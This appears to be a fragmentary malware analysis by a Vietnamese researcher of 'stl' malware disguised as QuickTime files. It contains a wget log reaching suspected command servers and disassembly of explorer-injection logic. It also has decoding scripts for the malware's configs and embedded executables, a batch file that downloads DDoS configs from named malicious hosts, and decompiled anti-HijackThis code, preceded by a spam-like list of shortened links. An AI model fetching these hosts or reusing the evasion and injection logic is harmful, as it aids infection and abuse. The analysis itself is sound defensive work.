http://a74b24df.linkbucks.com
 http://a74b24df.linkbucks.com
 http://a74b24df.linkbucks.com
 http://2050aad9.linkbucks.com
 http://d27332b6.linkbucks.com
 http://052162c8.linkbucks.com
 http://b2749ffc.linkbucks.com
 http://b2749ffc.linkbucks.com
 http://7d67a321.linkbucks.com
 http://3060e20c.linkbucks.com
 http://ac9ee037.linkbucks.com
 http://b2749ffc.linkbucks.com
 http://4d6e46fd.linkbucks.com
 http://4a6045bc.linkbucks.com
 http://f00ee973.linkbucks.com
 http://98a63f1d.linkbucks.com
 http://98a63f1d.linkbucks.com
 http://b9e8ccfb.linkbucks.com
 http://0779dfd9.linkbucks.com
 http://82883b02.linkbucks.com
 http://98a63f1d.linkbucks.com
 http://a14a1ab3.linkbucks.com
 http://6590b68a.linkbucks.com
 http://c603c304.linkbucks.com
 http://d332db80.linkbucks.com
 http://44ce52c8.linkbucks.com
 http://44ce52c8.linkbucks.com
 http://44ce52c8.linkbucks.com
 http://5fffee9b.linkbucks.com
 http://bfbf5fab.linkbucks.com
 http://438e215b.linkbucks.com
 http://1ec41b10.linkbucks.com
 http://49abc570.linkbucks.com
 http://49abc570.linkbucks.com
 http://49abc570.linkbucks.com
 http://54a960f9.linkbucks.com
 http://d3125c51.linkbucks.com
 http://aa3cee9a.linkbucks.com
 http://40df7943.linkbucks.com
 http://a47ff0db.linkbucks.com
 http://a47ff0db.linkbucks.com
 http://a47ff0db.linkbucks.com
 http://6fcc3f8e.linkbucks.com
 http://141e8889.linkbucks.com
 http://8464fce6.linkbucks.com

--2011-09-18 19:52:37--  http://wide.ircop.cn/index.txt?113
Resolving wide.ircop.cn... 200.74.244.197
Connecting to wide.ircop.cn|200.74.244.197|:80... failed: Connection refused.
--2011-09-18 19:52:38--  http://pref.firebay.cn/index.txt?113
Resolving pref.firebay.cn... 200.74.244.197
Connecting to pref.firebay.cn|200.74.244.197|:80... failed: Connection refused.
--2011-09-18 19:52:39--  http://daily.leteaks.com/index.txt?113
Resolving daily.leteaks.com... 200.74.244.197
Connecting to daily.leteaks.com|200.74.244.197|:80... failed: Connection refused.
--2011-09-18 19:52:40--  http://link.susaks.com/index.txt?113
Resolving link.susaks.com... 200.74.244.198
Connecting to link.susaks.com|200.74.244.198|:80... failed: Connection refused.
--2011-09-18 19:52:41--  http://option.drfound.net/k113.css
Resolving option.drfound.net... 204.12.220.181, 94.242.203.16
Connecting to option.drfound.net|204.12.220.181|:80... failed: Connection timed out.
Connecting to option.drfound.net|94.242.203.16|:80... failed: Connection timed out.
Retrying.
--2011-09-18 19:53:23-- (try: 2)  http://option.drfound.net/k113.css
Connecting to option.drfound.net|204.12.220.181|:80... failed: Connection timed out.
Connecting to option.drfound.net|94.242.203.16|:80... failed: Connection timed out.
Retrying.
--2011-09-18 19:54:05-- (try: 3)  http://option.drfound.net/k113.css
Connecting to option.drfound.net|204.12.220.181|:80... failed: Connection timed out.
Connecting to option.drfound.net|94.242.203.16|:80... failed: Connection timed out.
Giving up.

text:10001431 @@CheckWinVer: ; CODE XREF: PrepareDebugSymbolW+304j
.text:10001431 1E8C cmp [ebp+dwVerMajor], 5
.text:10001438 1E8C ja short @@NewerThanWinXP
.text:10001438
.text:1000143A 1E8C cmp [ebp+dwVerMinor], 1
.text:10001441 1E8C ja short @@NewerThanWinXP
.text:10001441
.text:10001443 1E8C mov [ebp+bInjectToExplorer], 0
.text:1000144A 1E8C jmp short @@j_CanInjectToExplorer
.text:1000144A

1. Downloader.exe: quá nhiều nguồn lấy về, mấy cái tracker.cmd cùi bắp dùng wget của em cũng chụp được.
2. QTTask.exe
3. QTTask.dll
4. rfc2616.exe
4. drwtsn32.exe
5. c6to4.dll
6. cversions.2.db
7. DrWatson.dll
8. rdpuser.mof

//-------------------------------------------------------------
//--- 010 Editor v3.2 Script File
//
// File: DecodeRfcTxt.1sc
// Author: ThangCuAnh (TQN) 
// Revision: 1.0
// Purpose: Decode the Rfcxxx.txt files downloaded from:
// 1. http://news.pedto.com/rfc1945.txt
// 2. http://blogs.pinix.org/rfc1945.txt
// 3. http://analytics.dynn.info/rfc1945.txt
// 4. http://news.pedto.com/rfc2616.txt
// 5. http://blogs.pinix.org/rfc2616.txt
// 6. http://analytics.dynn.info/rfc2616.txt
//-------------------------------------------------------------
int i, j, size = FileSize();
if (size <= 0)
{
MessageBox(idOk, "DecodeRfcTxt", "No file loaded or file empty.");
return -1;
}
// Modify from 8th byte
for (i = 0, j = 0; i < size; i += 2, ++j)
{
// Modify the current byte
WriteUByte(j, ReadUByte(i) - 65 + 26 * (ReadUByte(i + 1) - 65));
}
DeleteBytes(j, size);

//----------------------------------------------------------------
//--- 010 Editor v3.2 Script File
//
// File: DecodeRwoqv.1sc
// Author: ThangCuAnh (TQN) 
// Revision: 1.1
// Purpose: Decode and extract the embedded PE files in rwoqv.exe
//----------------------------------------------------------------
char Mask[] = "ï¾­ÞNullsoftInst '";
char strBin[255];
int i, j, iFiles, curFile, newFile;
int64 liPos, fSize;
// Check that a file is open
if (FileCount() == 0)
{
MessageBox(idOk, "DecodeBin", "DecodeBin can only be executed when a file is loaded.");
return -1;
}
// Save the file index of current file
curFile = GetFileNum();
// Find the embedded PE files
liPos = FindFirst(Mask);
if (liPos < 0)
{
MessageBox(idOk, "DecodeBin", "Could not find the mask of embedded PE files");
return -1;
}
liPos += 20;
liPos += 0x100; // stl coder modified code here
iFiles = ReadInt(liPos);
liPos += sizeof(int);
Printf("Number of embedded PE files %d - Start at 0x%LX", iFiles, liPos);
for (i = 0; i < iFiles; ++i)
{
fSize = ReadInt(liPos);
liPos += sizeof(int);
SetSelection(liPos, fSize);
CopyToClipboard();
newFile = FileNew();
FileSelect(newFile); // force select new file
PasteFromClipboard();
// Decode the new file
for (j = 0; j < FileSize(); ++j)
{
// Modify the current byte
WriteUByte(j, ReadUByte(j) ^ (( j & 7) + 0x3E)); // stl coder modified code here
}
SPrintf(strBin, "File%d.bin", i + 1);
strBin = InputSaveFileName("Save decoded PE as", "All files (*.*)", strBin, ".bin");
FileSave(strBin);
// Switch to old file
FileSelect(curFile);
// Seek to next embedded PE file
liPos += fSize;
}

@echo off
echo ==================================================================================================
echo Download cac file trojan, bot va DDOS config files cua stl malwares mao danh soft cua QuickTime
echo Cac ban gap 2 file nay: QTTask.exe va QTTask.dll thi kill va xoa ngay !!!!!!!!!!!!!!!!!!!!!!!!!!!!
echo ===================================================================================================
echo.
wget -t3 "http://news.pedto.com/rfc1945.txt" -O news.pedto.com_rfc1945.txt
wget -t3 "http://blogs.pinix.org/rfc1945.txt" -O blogs.pinix.org_rfc1945.txt
wget -t3 "http://analytics.dynn.info/rfc1945.txt" -O analytics.dynn.info_rfc1945.txt
wget -t3 "http://news.pedto.com/rfc2616.txt" -O news.pedto.com_rfc2616.txt
wget -t3 "http://blogs.pinix.org/rfc2616.txt" -O blogs.pinix.org_rfc2616.txt
wget -t3 "http://analytics.dynn.info/rfc2616.txt" -O analytics.dynn.info_rfc2616.txt
pause

void __stdcall DetectHijackthisExe(int a1)
{
HANDLE hSnapshot; // esi@2
PROCESSENTRY32W pe; // [sp+10h] [bp-230h]@1
unsigned int sanity; // [sp+23Ch] [bp-4h]@1
sanity = (unsigned int)&pe ^ __security_cookie;
while ( 1 )
{
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
memset(&pe.cntUsage, 0, 0x228u);
pe.dwSize = 556;
if ( Process32FirstW(hSnapshot, &pe) )
{
do
{
if ( !lstrcmpiW(pe.szExeFile, L"hijackthis.exe") )
ExitProcess(0);
}
while ( Process32NextW(hSnapshot, &pe) );
}
CloseHandle(hSnapshot);
Sleep(0xC8u);
}
}